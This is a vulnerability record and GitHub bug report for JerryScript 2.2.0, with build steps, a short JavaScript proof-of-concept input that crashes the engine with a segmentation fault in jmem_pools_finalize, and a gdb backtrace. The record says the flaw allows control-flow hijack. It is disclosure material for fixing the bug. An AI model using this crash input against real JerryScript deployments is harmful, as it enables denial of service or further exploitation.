vm/opcodes.c in JerryScript 2.2.0 allows attackers to hijack the flow of control by controlling a register.
cpe:2.3:a:jerryscript:jerryscript:2.2.0:*:*:*:*:*:*:*
88EBD351-0E34-480A-906A-603AC3920FBF
OR
###### JerryScript revision
c09c2c5dd7144d97b8b32cc2697d5b04bb647e35

###### Build platform
Ubuntu 18.04 LTS

###### Build steps
python tools/build.py --profile=es2015-subset --lto=off --error-messages=on --strip=off --compile-flag=-fsanitize=address

###### Test case
```
function main() {
const v3 = {a:13.37,length:13.37};
const v6 = [13.37,13.37];
let v9 = 0;
const v10 = v6.copyWithin(v9,8,2147483649);
const v11 = -9007199254740993 == gc;
const v12 = gc(...v11,...v3);
}
main();
```
###### Execution steps
build/bin/jerry testcase.js

###### Output
AddressSanitizer:DEADLYSIGNAL

###### Backtrace
Program received signal SIGSEGV, Segmentation fault.
0x000000000053bd5f in jmem_pools_finalize ()
(gdb) bt
```
#0  0x000000000053bd5f in jmem_pools_finalize ()
#1  0x000000000053a7bb in jmem_finalize ()
#2  0x00000000004f2ba0 in main ()
```

SEGV in jmem_pools_finalize 
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : SEGV in jmem_pools_finalize 
Issue date:

--- start body ---
###### JerryScript revision
c09c2c5dd7144d97b8b32cc2697d5b04bb647e35

###### Build platform
Ubuntu 18.04 LTS

###### Build steps
python tools/build.py --profile=es2015-subset --lto=off --error-messages=on --strip=off --compile-flag=-fsanitize=address

###### Test case
```
function main() {
const v3 = {a:13.37,length:13.37};
const v6 = [13.37,13.37];
let v9 = 0;
const v10 = v6.copyWithin(v9,8,2147483649);
const v11 = -9007199254740993 == gc;
const v12 = gc(...v11,...v3);
}
main();
```
###### Execution steps
build/bin/jerry testcase.js

###### Output
AddressSanitizer:DEADLYSIGNAL

###### Backtrace
Program received signal SIGSEGV, Segmentation fault.
0x000000000053bd5f in jmem_pools_finalize ()
(gdb) bt
```
#0  0x000000000053bd5f in jmem_pools_finalize ()
#1  0x000000000053a7bb in jmem_finalize ()
#2  0x00000000004f2ba0 in main ()
```

--- end body ---

comments :
--- start comments ---

--- end comments ---